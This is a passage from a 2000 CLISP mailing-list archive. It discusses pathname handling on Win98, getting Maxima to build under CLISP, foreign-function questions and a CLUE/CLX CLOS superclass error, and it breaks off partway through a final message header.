Thu, 17 Aug 2000 09:41:10 -0400 Date: Thu, 17 Aug 2000 09:41:10 -0400 Message-Id: <200008171341.JAA05565@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 16 Aug 2000 15:16:25 -0400) Subject: Re: [clisp-list] fix for clisp startup problem on Win98 References: <4.3.2.7.2.20000816112509.00dc5a80@131.96.1.18> <14746.50700.995470.731350@honolulu.ilog.fr> > X-Authentication-Warning: sanpietro.red-bean.com: Host centurion3.exapps.com [12.25.11.194] claimed to be xchange.com > Cc: Mark Shure , clisp-list@lists.sourceforge.net > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 > Date: 16 Aug 2000 15:16:25 -0400 > Sender: clisp-list-admin@lists.sourceforge.net > X-Mailman-Version: 1.1 > Precedence: bulk > List-Id: CLISP user discussion > X-BeenThere: clisp-list@lists.sourceforge.net > Content-Type: text/plain; charset=us-ascii > Content-Length: 1501 > > > * In message <14746.50700.995470.731350@honolulu.ilog.fr> > > * On the subject of "Re: [clisp-list] fix for clisp startup problem on Win98" > > * Sent on Wed, 16 Aug 2000 18:49:16 +0200 (CEST) > > * Honorable Bruno Haible writes: > > > > Thanks for summarizing the solution. > yep! > > > > It's not clear to me why this same problem does not show up under > > > WinNT, but it's hardly a surprise. > > > > Windows NT defines HOMEDRIVE and HOMEPATH environment > > variables. Whereas on Windows98 it's the user's responsibility to > > provide a valid HOME environment variable. If HOME points to a > > nonexistent directory, you will get this ERROR_FILE_NOT_FOUND. > > WOW! interesting. > > (load "/sfg/sfg/s/dfg/sfg/sdf/g" :if-does-not-exist nil) > > signals an error under CLISP but returns NIL on Allegro and CMUCL. > > Shouldn't we follow suit? Just to be overly nagging... :) In LispWorks and Allegro (load "C:\\MyDirectory\\MyFile.FOO") works like a charm even if C: is (obviously) not defined as a logical pathname. OTOH, logicla pathnames work as expected. I.e. you do not need to spray your code with calls to LOGICAL-PATHNAME. :) Cheers -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis From sds@gnu.org Thu Aug 17 07:12:02 2000 Received: from sanpietro.red-bean.com (sanpietro.red-bean.com [206.69.89.65]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA01420 for ; Thu, 17 Aug 2000 07:12:01 -0700 Received: from xchange.com (centurion3.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA06346; Thu, 17 Aug 2000 09:11:58 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host centurion3.exapps.com [12.25.11.194] claimed to be xchange.com Followup-To: clisp-devel@lists.sourceforge.net To: Marco Antoniotti Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] fix for clisp startup problem on Win98 References: <4.3.2.7.2.20000816112509.00dc5a80@131.96.1.18> <14746.50700.995470.731350@honolulu.ilog.fr> <200008171341.JAA05565@octagon.mrl.nyu.edu> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Marco Antoniotti's message of "Thu, 17 Aug 2000 09:41:10 -0400" Date: 17 Aug 2000 10:08:22 -0400 Message-ID: Lines: 30 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii > * In message <200008171341.JAA05565@octagon.mrl.nyu.edu> > * On the subject of "Re: [clisp-list] fix for clisp startup problem on Win98" > * Sent on Thu, 17 Aug 2000 09:41:10 -0400 > * Honorable Marco Antoniotti writes: > > Just to be overly nagging... :) > > In LispWorks and Allegro > > (load "C:\\MyDirectory\\MyFile.FOO") > > works like a charm even if C: is (obviously) not defined as a logical > pathname. OTOH, logicla pathnames work as expected. I.e. you do not > need to spray your code with calls to LOGICAL-PATHNAME. :) this behavior, while mandated by the standard, is not considered to be reasonable by Bruno. I agree with him that it is confusing (cf "c:/autoexec.bat", "home:.clisprc", "ftp.gnu.org:/pub/gnu/"). I think the standard behavior can be implemented when lisp:*pathname-ansi* is non-nil, but the standard _is_ confusing, so this is not easy to do. Followup-To: clisp-devel -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Programming is like sex: one mistake and you have to support it for a lifetime. From haible@ilog.fr Thu Aug 17 07:13:52 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA01675 for ; Thu, 17 Aug 2000 07:13:51 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id QAA00299; Thu, 17 Aug 2000 16:09:40 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.17.4.67]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id QAA03225; Thu, 17 Aug 2000 16:13:15 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id QAA25757; Thu, 17 Aug 2000 16:12:49 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14747.62177.6150.350022@honolulu.ilog.fr> Date: Thu, 17 Aug 2000 16:12:49 +0200 (CEST) To: Mark Shure , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] fix for clisp startup problem on Win98 In-Reply-To: References: <4.3.2.7.2.20000816112509.00dc5a80@131.96.1.18> <14746.50700.995470.731350@honolulu.ilog.fr> X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sam Steingold writes: > (load "/sfg/sfg/s/dfg/sfg/sdf/g" :if-does-not-exist nil) > > signals an error under CLISP but returns NIL on Allegro and CMUCL. > > Shouldn't we follow suit? Interesting, yes. Furthermore PROBE-FILE behave as you expect: no error if the directory does not exist. It is illogical if OPEN and LOAD behave differently. > ANSI says: > > If the file does not exist, the specific action taken depends on > if-does-not-exist: if it is nil, load returns nil; otherwise, load > signals an error. > > it appears that ANSI doesn't separate the issue of existence for files > and directories. But if the user has explictly passed :IF-DOES-NOT-EXIST NIL, he is interested in avoiding an error in this case. I now changed OPEN to be tolerant against non-existent directories in the following cases: :DIRECTION :IF-DOES-NOT-EXIST :PROBE :INPUT :OUTPUT :IO +--------+--------+--------+--------+ default | X | | | | +--------+--------+--------+--------+ :ERROR | | | | | +--------+--------+--------+--------+ NIL | X | X | X | X | +--------+--------+--------+--------+ :CREATE | | | | | +--------+--------+--------+--------+ Bruno From marcoxa@cs.nyu.edu Thu Aug 17 07:44:11 2000 Received: from octagon.mrl.nyu.edu (OCTAGON.MRL.NYU.EDU [128.122.47.83]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA05307 for ; Thu, 17 Aug 2000 07:44:11 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id KAA05807; Thu, 17 Aug 2000 10:45:00 -0400 Date: Thu, 17 Aug 2000 10:45:00 -0400 Message-Id: <200008171445.KAA05807@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 17 Aug 2000 10:08:22 -0400) Subject: Re: [clisp-list] fix for clisp startup problem on Win98 References: <4.3.2.7.2.20000816112509.00dc5a80@131.96.1.18> <14746.50700.995470.731350@honolulu.ilog.fr> <200008171341.JAA05565@octagon.mrl.nyu.edu> > X-Authentication-Warning: sanpietro.red-bean.com: Host centurion3.exapps.com [12.25.11.194] claimed to be xchange.com > Followup-To: clisp-devel@lists.sourceforge.net > Cc: clisp-list@lists.sourceforge.net > Reply-To: sds@gnu.org > Mail-Copies-To: never > From: Sam Steingold > Date: 17 Aug 2000 10:08:22 -0400 > User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 > Content-Type: text/plain; charset=us-ascii > Content-Length: 1221 > > > * In message <200008171341.JAA05565@octagon.mrl.nyu.edu> > > * On the subject of "Re: [clisp-list] fix for clisp startup problem on Win98" > > * Sent on Thu, 17 Aug 2000 09:41:10 -0400 > > * Honorable Marco Antoniotti writes: > > > > Just to be overly nagging... :) > > > > In LispWorks and Allegro > > > > (load "C:\\MyDirectory\\MyFile.FOO") > > > > works like a charm even if C: is (obviously) not defined as a logical > > pathname. OTOH, logicla pathnames work as expected. I.e. you do not > > need to spray your code with calls to LOGICAL-PATHNAME. :) > > this behavior, while mandated by the standard, is not considered to be > reasonable by Bruno. I agree with him that it is confusing (cf > "c:/autoexec.bat", "home:.clisprc", "ftp.gnu.org:/pub/gnu/"). Under MS systems the single letter device driver is easily special cased for. The second case is confusing, also because 'UNIX dot files' do not work well with CL pathnames types (and under CMUCL more so because of the evil SEARCH-LIST feature). The third is not a LOGICAL-PATHNAME namestring. If this is not enough, think of the folks at Digitool :) > I think the standard behavior can be implemented when > lisp:*pathname-ansi* is non-nil, but the standard _is_ confusing, so > this is not easy to do. Yes. I agree that the standard may be confusing. However, last time I checked, the mandated behavior is not implemented in CLisp even when *PATHNAME-ANSI* is non-nil. Hence, CLisp differs from most of the major implementations out there. IMHO opinion, this is not anymore a question of "ANSI compliance", but a question of "de facto standards". Cheers -- Marco Antoniotti ============================================================= NYU Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://galt.mrl.nyu.edu/valis From buchheit@speakeasy.org Sun Aug 20 11:40:04 2000 Received: from lolita.speakeasy.org (lolita.speakeasy.net [216.254.0.13]) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id LAA15872 for ; Sun, 20 Aug 2000 11:40:04 -0700 Received: (qmail 2190 invoked from network); 20 Aug 2000 18:38:58 -0000 Received: from unknown (HELO gonzo.speakeasy.net) (@192.168.0.5) by 192.168.0.13 with SMTP; 20 Aug 2000 18:38:58 -0000 Received: (qmail 19921 invoked from network); 20 Aug 2000 18:40:03 -0000 Received: from unknown (HELO speakeasy.org) (216.254.28.154) by gonzo.speakeasy.net with SMTP; 20 Aug 2000 18:40:03 -0000 Message-ID: <39A044FD.D3CCE1D3@speakeasy.org> Date: Sun, 20 Aug 2000 13:52:14 -0700 From: paul buchheit X-Mailer: Mozilla 4.72 [en] (Win98; U) X-Accept-Language: en,pdf MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] DOS vs. Win98 My Clisp programs run about 5 times faster in DOS than in a Dos Window of Windows 98. Apparently the Windows drivers are causing the problem Before I start disabling device drivers and doing other things detrimental to my PC, I'd like to know if anyone has any advice on this matter. Thanks, Paul B From kauer@egret.physics.wisc.edu Tue Aug 29 11:22:12 2000 Received: from egret.physics.wisc.edu (egret.physics.wisc.edu [128.104.222.22]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA03508 for ; Tue, 29 Aug 2000 11:22:11 -0700 Received: (from kauer@localhost) by egret.physics.wisc.edu (8.9.3/8.9.3) id NAA03101; Tue, 29 Aug 2000 13:22:07 -0500 (CDT) Date: Tue, 29 Aug 2000 13:22:07 -0500 (CDT) From: Nikolas Kauer Message-Id: <200008291822.NAA03101@egret.physics.wisc.edu> To: clisp-list@lists.sourceforge.net Cc: kauer@pheno.physics.wisc.edu Subject: [clisp-list] clisp maxima patch Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hi, this post refers to option 2 of RE: [clisp-list] punimax: > 2. if you would rather use the real thing (maxima), you should > > A. visit http://www.ma.utexas.edu/users/wfs/maxima.html > and get the current CVS version of maxima > > B. apply the appended patch (BEWARE: work in progress!) > > C. get the latest version of CLISP (http://clisp.cons.org) > > D. follow the instructions in maxima/README I installed clisp-2000-03-06 with the clisp-alpha-dec-osf4.0d.diff patch on our Alpha cluster running Tru64 Unix 4.0E, and the test suite ran fine. I then followed the above instructions and tried to install maxima for one of our postdocs. The patch worked fine on a recent CVS version (except for src/homog.lisp, where the indentation changed slighly). The makefile worked fine, except that the file src/dump-clisp.lisp was missing. When compiling maxima I got lots of warnings, but no errors. I used: ------------------------------------ (load "sysdef.lisp") (make:make :maxima :compile t) (lisp:saveinitmem "maxima.mem" :quiet t :init-function 'maxima::macsyma-top-level) ------------------------------------ as dump-clisp.lisp file and create the memory image, and wrote a short shell script to start maxima with 'maxima' on the CL. ---------------------- #!/bin/sh exec /local/clisp/bin/clisp -norc -M /local/maxima/maxima.mem --------------------- After that maxima seems to work, i.e. the header and prompt come as expected: ------------- tcsh 1> maxima Maxima 5.4 Mon Jun 26 12:37:38 CDT 2000 (with enhancements by W. Schelter). Licensed under the GNU Public License (see file COPYING) (C1) ------------ and simple things like adding numbers and displaying expressions work. However, most function calls don't work. Our maxima user writes: > It doesn't recognize anything (you can try with a simple "factor(expr);" > or "integrate(f(x),x,x0,x1));". > It doesn't load files for the same reason: "load" appears to it as an > undefined function. > Even the final "quit();" is not understood. I tried to exit with CTRL-D and get: -------------- Maxima 5.4 Mon Jun 26 12:37:38 CDT 2000 (with enhancements by W. Schelter). Licensed under the GNU Public License (see file COPYING) (C1) *** - FUNCALL: the function BYE is undefined 1. Break [1]> USER[2]> --------------- Has anybody tried this and can answer some of these questions: 1. Did I do something wrong during the installation (e.g. is there something missing or screwed up in the dump-clisp.lisp file I came up with)? 2. Are the many warnings I get when compiling maxima normal? 3. Sam warned that the patch is work in progress. How much of maxima is known to work (5% or 95%)? 4. Does it look like there's something wrong with the underlying clisp installation? Background: gcl does not install on our platform, which precludes installing the standard maxima dist "out of the box". So, I found out about clisp, which seems to be smaller and faster than gcl (and is known to work on our platform). Any hints and suggestions greatly appreciated. Nikolas From sds@gnu.org Wed Sep 6 12:28:15 2000 Received: from sanpietro.red-bean.com (sanpietro.red-bean.com [206.69.89.65]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA06372 for ; Wed, 6 Sep 2000 12:28:14 -0700 Received: from xchange.com (centurion3.exapps.com [12.25.11.194]) by sanpietro.red-bean.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA21719; Wed, 6 Sep 2000 14:28:13 -0500 X-Authentication-Warning: sanpietro.red-bean.com: Host centurion3.exapps.com [12.25.11.194] claimed to be xchange.com To: Nikolas Kauer Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp maxima patch References: <200008291822.NAA03101@egret.physics.wisc.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Nikolas Kauer's message of "Tue, 29 Aug 2000 13:22:07 -0500 (CDT)" Date: 06 Sep 2000 15:24:08 -0400 Message-ID: Lines: 110 User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Thanks for your patience. I got back to my box and now I can do some more work. > * In message <200008291822.NAA03101@egret.physics.wisc.edu> > * On the subject of "[clisp-list] clisp maxima patch" > * Sent on Tue, 29 Aug 2000 13:22:07 -0500 (CDT) > * Honorable Nikolas Kauer writes: > > this post refers to option 2 of RE: [clisp-list] punimax: > > 2. if you would rather use the real thing (maxima), you should > > > > A. visit http://www.ma.utexas.edu/users/wfs/maxima.html > > and get the current CVS version of maxima > > > > B. apply the appended patch (BEWARE: work in progress!) > > > > C. get the latest version of CLISP (http://clisp.cons.org) > > > > D. follow the instructions in maxima/README > > I installed clisp-2000-03-06 with the clisp-alpha-dec-osf4.0d.diff > patch on our Alpha cluster running Tru64 Unix 4.0E, and the test > suite ran fine. I then followed the above instructions and tried > to install maxima for one of our postdocs. The patch worked fine on a > recent CVS version (except for src/homog.lisp, where the indentation > changed slighly). The makefile worked fine, except that the file > src/dump-clisp.lisp was missing. I am sorry - here is the correct file: -------------------------------------------------------------------------- ;;; load this to dump maxima under CLISP (load "sysdef.lisp") (in-package :maxima) (make:make :maxima) (defun bye () (lisp:quit)) (lisp:gc) (lisp:saveinitmem "maxima.mem" :init-function #'maxima::macsyma-top-level) (lisp:quit) -------------------------------------------------------------------------- > and simple things like adding numbers and displaying expressions I get this: $ maxima Maxima 5.4 Mon Jun 26 12:37:38 CDT 2000 (with enhancements by W. Schelter). Licensed under the GNU Public License (see file COPYING) (C1) F(X):=X^2+Y; 2 (D1) F(X) := X + Y (C2) F(2); (D2) Y + 4 (C3) EV(F(2),Y:7); (D3) 11 (C4) F(X):=SIN(X)^2+1; 2 (D4) F(X) := SIN (X) + 1 (C5) F(X+1); 2 (D5) SIN (X + 1) + 1 (C6) G(Y,Z):=F(Z)+3*Y; (D6) G(Y, Z) := F(Z) + 3 Y (C7) EV(G(2*Y+Z,-0.5),Y:7); (D7) 3 (Z + 14) + 1.22984884706593 ... > work. However, most function calls don't work. Our maxima user writes: > > It doesn't recognize anything (you can try with a simple "factor(expr);" > > or "integrate(f(x),x,x0,x1));". > > It doesn't load files for the same reason: "load" appears to it as an > > undefined function. > > Even the final "quit();" is not understood. > I tried to exit with CTRL-D and get: please use my dump-clisp.lisp. > Has anybody tried this and can answer some of these questions: > 1. Did I do something wrong during the installation (e.g. > is there something missing or screwed up in the dump-clisp.lisp > file I came up with)? yep - use the version in this message. > 2. Are the many warnings I get when compiling maxima normal? yes, for now. I hope to eliminate them eventually. > 3. Sam warned that the patch is work in progress. How much of > maxima is known to work (5% or 95%)? I have no idea yet, but if you send me a test case (your input, what you should get as the output, the output you actually get), we could get farther. > 4. Does it look like there's something wrong with the underlying > clisp installation? no. Thanks for trying my patch. Please do not give up. -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Oh Lord, give me the source code of the Universe and a good debugger! From Nicolas.Dittlo@emi.u-bordeaux.fr Thu Sep 7 05:41:16 2000 Received: from aliboron.emi.u-bordeaux.fr (root@aliboron.emi.u-bordeaux.fr [147.210.12.128]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id FAA08694 for ; Thu, 7 Sep 2000 05:41:13 -0700 Received: from bianca.emi.u-bordeaux.fr (dittlo@bianca [147.210.12.160]) by aliboron.emi.u-bordeaux.fr (8.9.3/jtpda-5.3.1) with SMTP id OAA10153 for ; Thu, 7 Sep 2000 14:41:04 +0200 (MET DST) Received: by bianca.emi.u-bordeaux.fr (sSMTP sendmail emulation); Thu, 7 Sep 2000 14:41:03 +0200 From: Nicolas Dittlo Date: Thu, 7 Sep 2000 14:41:03 +0200 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Message-ID: <6044_32226_968330463_1@bianca> Content-ID: <6044_32226_968330463_2@bianca> Content-type: text/plain Subject: [clisp-list] c-array & c pointers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Hi, Is it possible to create c-arrays on the lisp side to throw them to a c function binded by def-c-call-out? And can I create c-pointers on the lisp side, for example (argv (c-ptr c-string))? Thanks. nd From jtowler@newton.pconline.com Wed Sep 20 10:30:44 2000 Received: from newton.pconline.com (IDENT:jtowler@newton.pconline.com [206.145.48.1]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA10733 for ; Wed, 20 Sep 2000 10:30:43 -0700 Received: (from jtowler@localhost) by newton.pconline.com (8.8.5/8.8.5) id MAA18941; Wed, 20 Sep 2000 12:30:33 -0500 Date: Wed, 20 Sep 2000 12:30:33 -0500 Message-Id: <200009201730.MAA18941@newton.pconline.com> From: John Towler To: clisp-list@lists.sourceforge.net Subject: [clisp-list] clue/clx wrt closure (long) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0beta5 Precedence: bulk List-Id: CLISP user discussion Greetings, I am trying to build the closure browser. A prerequisite is building clue, a port of which is included in the src for closure. The system is a sparc-sun-sunos4.1.4. The current Lisp for this project is CLISP (2000-03-06). The provided Makefiles and run scripts did not quite work as advertised for me. I am using mkant's defsystem from clocc instead. The compilation for CLISP breaks here: # [19]> (mk:compile-system 'clue) Compiling file /local/src/lisp/closure-1999-06-06/src/clue/intrinsics.lsp ... *** - DEFCLASS BASIC-CONTACT: superclass # should belong to class STANDARD-CLASS The backtrace is as follows. 1. Break CLUEI[20]> Backtrace EVAL frame for form (CLOS::ENSURE-CLASS 'BASIC-CONTACT :DIRECT-SUPERCLASSES (LIST (FIND-CLASS 'WINDOW)) :DIRECT-SLOTS (LIST (LIST :NAME 'DISPLAY :READERS '(CONTACT-DISPLAY) :INITARGS '(:DISPLAY)) (LIST :NAME 'PARENT :READERS '(CONTACT-PARENT) :INITARGS '(:PARENT)) (LIST :NAME 'NAME :READERS '(CONTACT-NAME) :INITARGS '(:NAME) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL SYMBOL) ) (LIST :NAME 'CALLBACKS :READERS '(CONTACT-CALLBACKS) :INITARGS '(:CALLBACKS) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL LIST) ) (LIST :NAME 'EVENT-TRANSLATIONS :INITARGS '(:EVENT-TRANSLATIONS) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL LIST) ) (LIST :NAME 'EVENT-MASK :READERS '(CONTACT-EVENT-MASK) :INITARGS '(:EVENT-MASK) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL MASK32) ) (LIST :NAME 'STATE :READERS '(CONTACT-STATE) :INITARGS '(:STATE) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL (MEMBER :WITHDRAWN :MANAGED :MAPPED)) ) (LIST :NAME 'SENSITIVE :READERS '(CONTACT-SENSITIVE) :INITARGS '(:SENSITIVE) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL (MEMBER :OFF :ON)) ) (LIST :NAME 'X :READERS '(CONTACT-X) :INITARGS '(:X) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL INT16) ) (LIST :NAME 'Y :READERS '(CONTACT-Y) :INITARGS '(:Y) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL INT16) ) (LIST :NAME 'WIDTH :READERS '(CONTACT-WIDTH) :INITARGS '(:WIDTH) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL CARD16) ) (LIST :NAME 'HEIGHT :READERS '(CONTACT-HEIGHT) :INITARGS '(:HEIGHT) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL CARD16) ) (LIST :NAME 'BORDER-WIDTH :READERS '(CONTACT-BORDER-WIDTH) :INITARGS '(:BORDER-WIDTH) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL CARD16) ) (LIST :NAME 'INITIALIZATION :TYPE '(OR (MEMBER :DESTROY) LIST)) (LIST :NAME 'COMPRESS-MOTION :READERS '(CONTACT-COMPRESS-MOTION) :ALLOCATION :CLASS :INITER (CONS 'NIL :ON) :TYPE '(MEMBER :OFF :ON) ) (LIST :NAME 'COMPRESS-EXPOSURES :READERS '(CONTACT-COMPRESS-EXPOSURES) :ALLOCATION :CLASS :INITER (CONS 'NIL :OFF) :TYPE '(MEMBER :OFF :ON) ) ) :DOCUMENTATION '"Basic contact using parent's window" ) EVAL frame for form (PROGN (CLOS::ENSURE-CLASS 'BASIC-CONTACT :DIRECT-SUPERCLASSES (LIST (FIND-CLASS 'WINDOW)) :DIRECT-SLOTS (LIST (LIST :NAME 'DISPLAY :READERS '(CONTACT-DISPLAY) :INITARGS '(:DISPLAY)) (LIST :NAME 'PARENT :READERS '(CONTACT-PARENT) :INITARGS '(:PARENT)) (LIST :NAME 'NAME :READERS '(CONTACT-NAME) :INITARGS '(:NAME) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL SYMBOL) ) (LIST :NAME 'CALLBACKS :READERS '(CONTACT-CALLBACKS) :INITARGS '(:CALLBACKS) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL LIST) ) (LIST :NAME 'EVENT-TRANSLATIONS :INITARGS '(:EVENT-TRANSLATIONS) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL LIST) ) (LIST :NAME 'EVENT-MASK :READERS '(CONTACT-EVENT-MASK) :INITARGS '(:EVENT-MASK) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL MASK32) ) (LIST :NAME 'STATE :READERS '(CONTACT-STATE) :INITARGS '(:STATE) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL (MEMBER :WITHDRAWN :MANAGED :MAPPED)) ) (LIST :NAME 'SENSITIVE :READERS '(CONTACT-SENSITIVE) :INITARGS '(:SENSITIVE) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL (MEMBER :OFF :ON)) ) (LIST :NAME 'X :READERS '(CONTACT-X) :INITARGS '(:X) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL INT16) ) (LIST :NAME 'Y :READERS '(CONTACT-Y) :INITARGS '(:Y) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL INT16) ) (LIST :NAME 'WIDTH :READERS '(CONTACT-WIDTH) :INITARGS '(:WIDTH) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL CARD16) ) (LIST :NAME 'HEIGHT :READERS '(CONTACT-HEIGHT) :INITARGS '(:HEIGHT) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL CARD16) ) (LIST :NAME 'BORDER-WIDTH :READERS '(CONTACT-BORDER-WIDTH) :INITARGS '(:BORDER-WIDTH) :INITER (CONS 'NIL NIL) :TYPE '(OR NULL CARD16) ) (LIST :NAME 'INITIALIZATION :TYPE '(OR (MEMBER :DESTROY) LIST)) (LIST :NAME 'COMPRESS-MOTION :READERS '(CONTACT-COMPRESS-MOTION) :ALLOCATION :CLASS :INITER (CONS 'NIL :ON) :TYPE '(MEMBER :OFF :ON) ) (LIST :NAME 'COMPRESS-EXPOSURES :READERS '(CONTACT-COMPRESS-EXPOSURES) :ALLOCATION :CLASS :INITER (CONS 'NIL :OFF) :TYPE '(MEMBER :OFF :ON) ) ) :DOCUMENTATION '"Basic contact using parent's window" ) ) EVAL frame for form (MAKE:COMPILE-SYSTEM 'USER::CLUE) The relevant form in the immediate source seems to be: ;; from clue/intrinsics.lsp ;;; Basic CONTACT class (defcontact basic-contact (xlib:window) ((display :initarg :display :reader contact-display) (parent :initarg :parent :reader contact-parent) ; setf defined below (name :type symbol :initarg :name :initform :unnamed :reader contact-name) (callbacks :type list :reader contact-callbacks :initform nil) (event-translations :type list :initform nil) (event-mask :type mask32 :initform #.(make-event-mask :exposure) :reader contact-event-mask) ; setf defined below (state :initform :mapped :type (member :withdrawn :managed :mapped) :reader contact-state) ; setf defined below (sensitive :initform :on :type (member :off :on) :reader contact-sensitive) ; setf defined below (x :type int16 :initform 0 :reader contact-x) (y :type int16 :initform 0 :reader contact-y) (width :type card16 :initform 0 :reader contact-width) (height :type card16 :initform 0 :reader contact-height) (border-width :type card16 :initform 1 :reader contact-border-width) (initialization :type (or (member :destroy) list)) ; internal slot for window initialization and destruction ;; Class allocated slots (compress-motion :initform :on :type (member :off :on) :reader contact-compress-motion :allocation :class) (compress-exposures :initform :off :type (member :off :on) :reader contact-compress-exposures :allocation :class )) (:documentation "Basic contact using parent's window") (:resources (screen :type (or null card8)) ;Selects screen when parent is a display ;; Slots name callbacks event-translations event-mask state sensitive x y width height border-width )) CLOS is new to me, but it seems that CLISP has read a class defined for xlib:window elsewhere, for which it wants the direct-superclass of xlib:window to be standard-class. Or perhaps merely presumed that it shoud have, hence the error. I don't have the results on hand, but cmucl-18a did not complain about this error, granted they have a pcl implementation, not a native CLOS. A comment in clue/clos-patch.lisp referred to the macro def-clx-class in clx/depdefs.lsp which has a controlling variable *def-clx-class-use-defclass*. I changed this so the macro would use defclass, assuming that it would then resolve the superclasses in the usual way. This has not worked. How does one add the direct-superclass that the compiler/reader wants for DEFCLASS BASIC-CONTACT. (a) so that I can see if this will work (the local band-aid to make it go), and (b) so that clx does the right thing in general (find where in the clx code this is defined, and study how to make xlib:window fit into CLOS's preferred standard class hierarchy.) (b) is the preferred solution, but it might not be immediately feasible today. Ideally (a) and (b) would be equivalent. It seems that there might be a way to add the needed superclass, but I don't yet know what it is (not knowing CLOS). If someone, perhaps who has been through this before, could point me in the right direction, that would be appreciated. Thanks, John R. Towler From amoroso@mclink.it Thu Sep 21 08:35:24 2000 Received: from mail1.mclink.it (net128-007.mclink.it [195.110.128.7]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA06419 for ; Thu, 21 Sep 2000 08:35:22 -0700 Received: from net145-018.mclink.it (net145-018.mclink.it [195.110.145.18]) by mail1.mclink.it 